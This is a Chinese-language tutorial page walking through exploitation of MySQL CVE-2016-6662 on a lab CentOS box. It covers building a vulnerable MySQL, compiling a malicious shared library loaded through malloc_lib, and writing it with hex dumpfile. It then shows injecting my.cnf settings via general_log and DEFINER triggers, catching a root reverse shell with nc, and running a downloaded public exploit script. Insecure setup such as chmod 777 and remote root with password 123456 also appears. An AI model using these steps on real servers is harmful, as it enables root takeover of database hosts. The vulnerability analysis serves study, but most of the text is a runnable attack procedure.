您好,登錄后才能下訂單哦!
本篇內(nèi)容主要講解“Mysql CVE-2016-6662漏洞分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“Mysql CVE-2016-6662漏洞分析”吧!
該漏洞允許攻擊者注入惡意配置到 mysql配置文件 my.cnf中,導(dǎo)致可加載任意擴(kuò)展庫。當(dāng)擴(kuò)展庫中存在惡意指令時(shí)即可getshell。
備注:
以下實(shí)驗(yàn)全程開啟 SELinux
該漏洞在 SELinux 開啟的狀態(tài)下也可用哦~
實(shí)驗(yàn)系統(tǒng)為 Centos7
mysql <= 5.7.15
mysql <= 5.6.33
mysql <= 5.5.52
需要在 mysql官網(wǎng) 中 自行下載 符合版本的 mysql。
由于在Centos7上安裝時(shí)默認(rèn)的 yum源頭是設(shè)置的 mysql5.7.30。我們不能使用 yum源安裝,需要手動(dòng)下載 源碼,然后編譯安裝:
第一步、下載 mysql5.7.10 源碼
進(jìn)入 mysql 各種版本下載頁面:
https://downloads.mysql.com/archives/community/
選擇 mysql5.7.10,本實(shí)驗(yàn)以 5.7.10 作為例子。
下載時(shí)選擇 源碼方式,系統(tǒng)為 常規(guī)Linux,下載含有 Boost Headers 的源碼包:
第二步、創(chuàng)建用戶
在 Linux 中,mysql 不允許使用 root 賬號(hào) 運(yùn)行。必須添加一個(gè)低權(quán)用戶運(yùn)行 mysql服務(wù)
添加用戶,并且不允許登錄:
useradd -s /sbin/nologin mysql
第三步、解壓 mysql 源碼包
將下載好的 mysql 源碼包放到你想放的路徑。最好放到 /usr/local 下。
解壓命令:
tar -xzvf xxxxxx.tar.gz
第四步、安裝依賴包
由于源碼編譯 mysql 需要一些運(yùn)行庫、依賴包等東西。我們需要先自行下好:
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
第五步、編譯安裝
解壓完成后,進(jìn)入剛解壓好的mysql 目錄下,執(zhí)行命令進(jìn)行編譯:
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
命令運(yùn)行完后,再進(jìn)行安裝:
make && make install
安裝完成后,應(yīng)該會(huì)有一個(gè)新文件夾 /usr/local/mysql。這個(gè)就是安裝好的mysql 的文件夾了。
第六步、配置 mysql 配置文件
默認(rèn)一般是沒有自動(dòng)創(chuàng)建 /etc/my.cnf 文件的。需要我們自己拷貝一份模板文件過去。
my.cnf 模板文件在 mysql 目錄(這里往后講的 mysql 目錄都是指 安裝完成后創(chuàng)建的 /usr/local/mysql)下的 support-files 文件夾里。
模板文件名為:
/usr/local/mysql/support-files/my-default.cnf
將其拷貝為 /etc/my.cnf
cp my-default.cnf /etc/my.cnf
我們還需要?jiǎng)?chuàng)建一個(gè)文件夾,供數(shù)據(jù)庫文件存放。我直接在 mysql 目錄創(chuàng)建了一個(gè)名為 data 的文件夾。將其作為 數(shù)據(jù)庫文件存放路徑:
mkdir /usr/local/mysql/data/
為保證權(quán)限,可以給它 777:
chmod 777 /usr/local/mysql/data/
將整個(gè) mysql 目錄所屬歸為 mysql 用戶:
chown mysql:mysql /usr/local/mysql
配置 mysql 配置文件。在配置文件模板的基礎(chǔ)上,修改三個(gè)重點(diǎn)配置:
basedir 設(shè)定為 mysql 目錄
datadir 設(shè)定為 數(shù)據(jù)庫文件存放目錄
port 設(shè)定為 數(shù)據(jù)庫監(jiān)聽端口
第七步、創(chuàng)建 mysql 服務(wù)
注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然創(chuàng)建服務(wù)的時(shí)候會(huì)報(bào)錯(cuò)
在 mysql 目錄下 的 bin 目錄,執(zhí)行命令:
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
其中,user參數(shù)為 啟動(dòng) mysql 的用戶。我們使用我們剛剛創(chuàng)建好的低權(quán)限用戶。
basedir 和 datadir 必須和配置文件 /etc/my.cnf 的值一致。不然也會(huì)報(bào)錯(cuò)
執(zhí)行完后,將會(huì)在 mysql目錄下的 support-files 文件夾看到 mysql.server 文件。
我們將 mysql.server 文件拷貝為 /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysqld
完成后,我們就可以使用命令:
/etc/init.d/mysqld restart
重啟mysql 服務(wù)
這個(gè)漏洞官方介紹網(wǎng)上很多。這里我就用大白話的方式來講,并配合簡(jiǎn)單的示例來演示:
mysql 配置中在 [mysqld] 下有一個(gè)配置項(xiàng)。名為 malloc_lib。這個(gè)配置項(xiàng)可以加載任意位置的 so 文件,并執(zhí)行。
然而執(zhí)行 malloc_lib 指定的 so 文件的進(jìn)程是 mysql_safe。這個(gè)進(jìn)程是以 root 用戶運(yùn)行的:
但是由于是配置文件指定的 so 文件,mysql服務(wù)需要 重啟 才會(huì)重新加載配置文件。所以最后需要將 mysql 重啟才能完成整個(gè)攻擊流程。
我們需要下載好 大神寫好的 c文件:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
修改攻擊腳本:
由于是演示,就用本機(jī)。 mysql 配置文件就寫默認(rèn)的配置文件 /etc/my.cnf:
寫入后保存退出。進(jìn)行編譯:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
將會(huì)生成一個(gè) so文件:
配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:
malloc_lib=/tmp/mysql_hookandroot_lib.so
這里 malloc_lib 指定的就是剛剛生成好的惡意 so文件 路徑
寫入后保存退出。由于 poc 寫的是 127.0.0.1,所以我們開啟本機(jī)上對(duì)應(yīng)的端口:
nc -lvp 6033
重啟 mysql 服務(wù):
/etc/init.d/mysqld restart
有個(gè)小小的報(bào)錯(cuò),不過不要緊,我們已經(jīng)getshell了:
后文的攻擊大致流程就是這樣子:
想辦法修改配置文件,并加上一行配置,最后重啟mysql服務(wù)
我們首先讓 mysql 的 root 用戶能夠讓外網(wǎng)登錄,連入mysql,輸入以下命令:
grant all privileges on *.* to 'root'@'%' identified by '123456'; flush privileges;
上傳寫入惡意 so文件
值得一提的是,mysql5.7.10 默認(rèn)是開放 secure_file_priv 的
關(guān)于寫入惡意 so文件,我們可以通過 python 并配合 mysql 的 dumpfile 語句。將文件的十六進(jìn)制碼進(jìn)行寫入。
python 文件轉(zhuǎn)十六進(jìn)制碼:
import binascii f = open("mysql_hookandroot_lib.so", "rb") a = f.read() hexstr = binascii.b2a_hex(a) f.close() f = open("res.txt","w") f.write(hexstr) f.close()
得到一大串十六進(jìn)制字符:
構(gòu)造 mysql 語句:
注意:mysql寫入十六進(jìn)制碼時(shí),需要在字符前加一個(gè) 0x
select 0x一大串字符 into dumpfile "/tmp/cvetest.so"
這個(gè)漏洞能夠利用成功的最關(guān)鍵的一步,就是通過mysql的命令,修改 / 新增 my.cnf 配置。使其能夠成功讀取到 malloc_lib 配置項(xiàng)。
這里有幾個(gè)坑點(diǎn),一一列舉:
(1)配置文件路徑
mysql 中除了默認(rèn)的 /etc/my.cnf。還有別的配置文件路徑。并且是順序讀取的。放一張官網(wǎng)圖:
https://dev.mysql.com/doc/refman/5.7/en/option-files.html
如圖所示,不僅僅會(huì)讀取 /etc/my.cnf文件,而且還會(huì)讀取 $MYSQL_HOME/my.cnf,這個(gè)是指 mysql目錄下的my.cnf。
為什么鐘情于 mysql目錄下的 my.cnf呢?因?yàn)?mysql目錄,mysql用戶99%的幾率是可讀寫的。而別的目錄可不可寫就難說了。。
(2)outfile / dumpfile
正常情況下,談到導(dǎo)出文件。第一反應(yīng)就是使用 mysql 的語句:outfile、dumpfile。
可惜,這里有一個(gè)坑點(diǎn)。
我們來嘗試用 mysql 的outfile 寫一個(gè) my.cnf 出來:
select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";
然后重啟 mysql 的時(shí)候?qū)?huì)報(bào)錯(cuò):
這是因?yàn)?,我們通過 outfile / dumpfile 寫出來的文件,權(quán)限是 rw rw rw。
在 mysql 中有個(gè)安全策略:如果配置文件的權(quán)限可被 其他用戶 寫,則將會(huì)忽略這個(gè)配置文件。
而通過 outfile 寫出來的文件權(quán)限是 rw rw rw。不符合 mysql 的安全策略規(guī)則。
所以我們得另辟蹊徑。
(3)general_log與配置文件格式
在mysql中想要寫入文件,還有一個(gè)語句:general_log。
我們可以通過 general_log,寫入 my.cnf 文件。
通過 general_log 寫入的文件其他用戶 無權(quán)限。
首先,先將 general_log 文件路徑設(shè)置為 mysql目錄下的 my.cnf 文件。即:/usr/local/mysql/my.cnf
set global general_log_file = "/usr/local/mysql/my.cnf";
開啟 general_log:
set global general_log=on;
寫入配置:
MySQL [(none)]> select " "> [mysqld] "> malloc_lib=/tmp/cvetest.so "> #";
寫入成功后,查看文件權(quán)限:
查看內(nèi)容,發(fā)現(xiàn)通過 general_log 新增寫入文件的方式,會(huì)先寫入 banner 信息,然后再寫如具體日志。
由于 my.cnf 文件不是以 [] 開頭。mysql 讀取的時(shí)候會(huì)報(bào)錯(cuò)。也無法成功getshell:
(4)攻擊條件
在測(cè)試的時(shí)候發(fā)現(xiàn),general_log 對(duì)于已經(jīng)存在的文件,將會(huì)追加。
而 my.cnf 中的配置。配置不正確 mysql 將會(huì)忽略配置。但是配置文件必須以 [] 開頭。
得出攻擊條件:
當(dāng) mysql 有已經(jīng)創(chuàng)建好的 my.cnf 文件時(shí),才可通過 general_log 對(duì)該文件追加配置。
我們創(chuàng)建好一個(gè) /usr/loca/mysql/my.cnf。簡(jiǎn)單寫一個(gè)配置:
[mysqld] secure_file_priv = NULL
將新的 my.cnf 所有權(quán)給 mysql:
chown mysql:mysql my.cnf
重啟 mysql。然后我們像上面的(3)一樣:修改 general_log 路徑;開啟 general_log;寫入惡意配置項(xiàng):
查看配置文件,由于之前已經(jīng)寫好了配置文件,所以現(xiàn)在 my.cnf 是以 [] 開頭的:
嘗試重啟 mysql:
成功 getshell:
(5)/etc/my.cnf
在實(shí)際情況中,可能 mysql 的配置項(xiàng)就一個(gè)默認(rèn)的 /etc/my.cnf。那我們可不可以通過 general_log 追加到 /etc/my.cnf 中呢?
答案是:看情況。。。
默認(rèn) /etc/my.cnf 的權(quán)限是 r rx r
如果這種情況設(shè)置 general_log ,則會(huì)報(bào)錯(cuò):
mysql要寫入的話,需要具有 寫入 權(quán)限
現(xiàn)實(shí)中管理員錯(cuò)配權(quán)限也是經(jīng)常發(fā)生的情況。
將 /etc/my.cnf 權(quán)限修改為 rw r r:
chmod 644 /etc/my.cnf
嘗試寫入:
成功寫入:
重啟后自然成功getshell:
按照網(wǎng)上的說法,其實(shí)不需要root用戶,只需要一個(gè)具有 select,insert,create,file 權(quán)限的用戶即可。
我們來創(chuàng)建一個(gè)用戶,及其對(duì)應(yīng)的數(shù)據(jù)庫:
連入mysql,執(zhí)行下面語句:
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges;
將 /etc/my.cnf 權(quán)限設(shè)置為 600,所屬用戶為 mysql:
chmod 600 /etc/my.cnf chown mysql:mysql /etc/my.cnf
首先我們需要先下載大佬寫好的攻擊腳本:一個(gè)python文件和一個(gè)c文件:
0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.pymysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
默認(rèn)kali沒有安裝 mysql-connector,而大神寫的腳本中用了這個(gè)庫。
不安裝的話將會(huì)報(bào)錯(cuò):
ImportError: No module named mysql.connector
我們需要手動(dòng)安裝:
python -m pip install mysql-connector
由于python腳本中有些配置和我們實(shí)驗(yàn)環(huán)境不符,我們還需要手動(dòng)修改一下:
(1)python - 將 trigger 觸發(fā)器目錄設(shè)置成實(shí)驗(yàn)靶機(jī)的 data 目錄
首先需要知道靶機(jī)的 data 目錄在哪。連入靶機(jī)的 mysql ,輸入命令:
show variables like "%data%";
這里的 datadir 的值就是 mysql 服務(wù)的 data 目錄路徑。
修改 python 腳本:
(2)python - 修改惡意so文件導(dǎo)出路徑
雖然腳本里說 /tmp 重啟會(huì)丟失文件, /var/lib/mysql mysql 也有權(quán)限寫入
但是實(shí)際上用的時(shí)候可能會(huì)報(bào)錯(cuò),沒有權(quán)限寫入。
個(gè)人認(rèn)為最好把路徑改回成 /tmp
(3)c - 修反彈shell端口
編輯 c 文件,注意該文件需要和 python 文件放在同一目錄下。
修改配置:
ATTACKERS_IP 設(shè)置為 攻擊機(jī)ip
SHELL_PORT 設(shè)置為 攻擊機(jī)接收反彈shell的端口
INJECTED_CONF 設(shè)置為 我們攻擊時(shí)使用的 my.cnf 路徑
直接運(yùn)行 exp:
pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf
我們來看看這個(gè) exp 是如何實(shí)現(xiàn) 非 root 用戶 卻能夠修改 general_log 配置 的:
找到關(guān)鍵SQL語句:
將其單獨(dú)抽出來整理格式查看:
這是一個(gè)觸發(fā)器
但是這不是直接執(zhí)行的,而是通過 mysql 的 dumpfile 語句寫入到文件里的:
為什么要用觸發(fā)器呢?為什么要寫入到文件中不直接執(zhí)行呢?
帶著這些疑問,我們來實(shí)踐一下:
非 root 用戶,無法直接 set global general_log
先說一個(gè)小細(xì)節(jié):
select user() 和 select current_user() 的區(qū)別:
select current_user() 查詢出來的用戶才是真正的存在數(shù)據(jù)庫里的用戶格式。
嘗試設(shè)置 general_log:
無權(quán)限。
觸發(fā)器 - 以他人權(quán)限執(zhí)行 SQL 語句
官網(wǎng)中對(duì)于觸發(fā)器的格式描述:
官網(wǎng)鏈接在此:
https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html
大意是說, mysql的觸發(fā)器可以通過設(shè)置 DEFINER 參數(shù),以別的用戶身份執(zhí)行觸發(fā)器的 SQL語句。
語句:
create definer='root'@'localhost' trigger test1 指定使用用戶 'root'@'localhost'執(zhí)行觸 發(fā)器 test1 after INSERT 觸發(fā)器在執(zhí)行 INSERT 語句之后執(zhí)行 on test1.t1 在哪個(gè)表上設(shè)置觸發(fā)器 for each ROW 固定格式 BEGIN 固定格式,表示觸發(fā)器要執(zhí)行的SQL語句開始 select "1" into outfile "/tmp/1234567.txt"; 觸發(fā)器要執(zhí)行的SQL語句 END 固定格式,表示觸發(fā)器要執(zhí)行的SQL語句結(jié)束
但是并不是任何用戶都能使用 root 用戶身份去執(zhí)行的。
想要以 root 身份執(zhí)行觸發(fā)器,創(chuàng)建者必須具有 super 權(quán)限:
備注:
delimiter | 表示暫時(shí)性設(shè)置 Mysql 每條語句的分隔符為 |,mysql語句分隔符默認(rèn)是 ;。但是由于觸發(fā)器中需要寫入 sql語句,sql語句中有 ; 。會(huì)導(dǎo)致 sql語句提前結(jié)束。所以需要暫時(shí)性修改分隔符。
莫非到此就結(jié)束了?我們還有一計(jì)。
參考大神的腳本時(shí),發(fā)現(xiàn)它將觸發(fā)器寫入到了一個(gè)文件中,這個(gè)文件路徑也是我們用 exp 的時(shí)候需要修改的路徑:
莫非 mysql 創(chuàng)建了觸發(fā)器之后,將會(huì)以文件形式保存下來?
動(dòng)手實(shí)驗(yàn)一探究竟。
我們直接使用 root 用戶來創(chuàng)建觸發(fā)器:
語句:
跟上面那個(gè)一樣
create definer='root'@'localhost' trigger test1 after INSERT on test1.t1 for each ROW BEGIN select "1" into outfile "/tmp/1234567.txt"; end |
創(chuàng)建成功:
我們到 mysql 的數(shù)據(jù)庫文件目錄去看看:
如果不知道數(shù)據(jù)庫文件目錄在哪,在mysql終端中輸入 :
show variables like "%datadir%";
默認(rèn)情況下,數(shù)據(jù)庫文件目錄下,數(shù)據(jù)庫文件夾名 和數(shù)據(jù)庫名一致。我們找到我們的 test1數(shù)據(jù)庫的目錄,并 進(jìn)入
注意:這里的數(shù)據(jù)庫文件夾 mysql 用戶都是可寫的
發(fā)現(xiàn)真的多了兩個(gè) TRN文件,有用的文件就是和數(shù)據(jù)表名對(duì)應(yīng)的 TRN文件:
查看內(nèi)容:
也就是說,mysql 的觸發(fā)器文件就是保存在數(shù)據(jù)庫文件目錄下的數(shù)據(jù)庫文件夾中。文件名與表名對(duì)應(yīng)。
根據(jù)上面實(shí)驗(yàn),我們可以整理出 exp 的原理和流程了:
(1)首先連入 mysql 。連入賬戶不需要 root 用戶,只要能 select,insert,create,file 即可
(2)將 惡意 so庫 寫入到文件夾中。這里最好寫到 /tmp 目錄下。也可嘗試寫入 mysql 數(shù)據(jù)庫目錄下
(3)創(chuàng)建一個(gè)新表,為后面觸發(fā)器做準(zhǔn)備
(4)將觸發(fā)器的配置寫入到觸發(fā)器文件中,觸發(fā)器的配置為通過 general_log 對(duì) my.cnf 文件進(jìn)行配置追加
(5)對(duì)表進(jìn)行操作,使其執(zhí)行觸發(fā)器
到此,相信大家對(duì)“Mysql CVE-2016-6662漏洞分析”有了更深的了解,不妨來實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。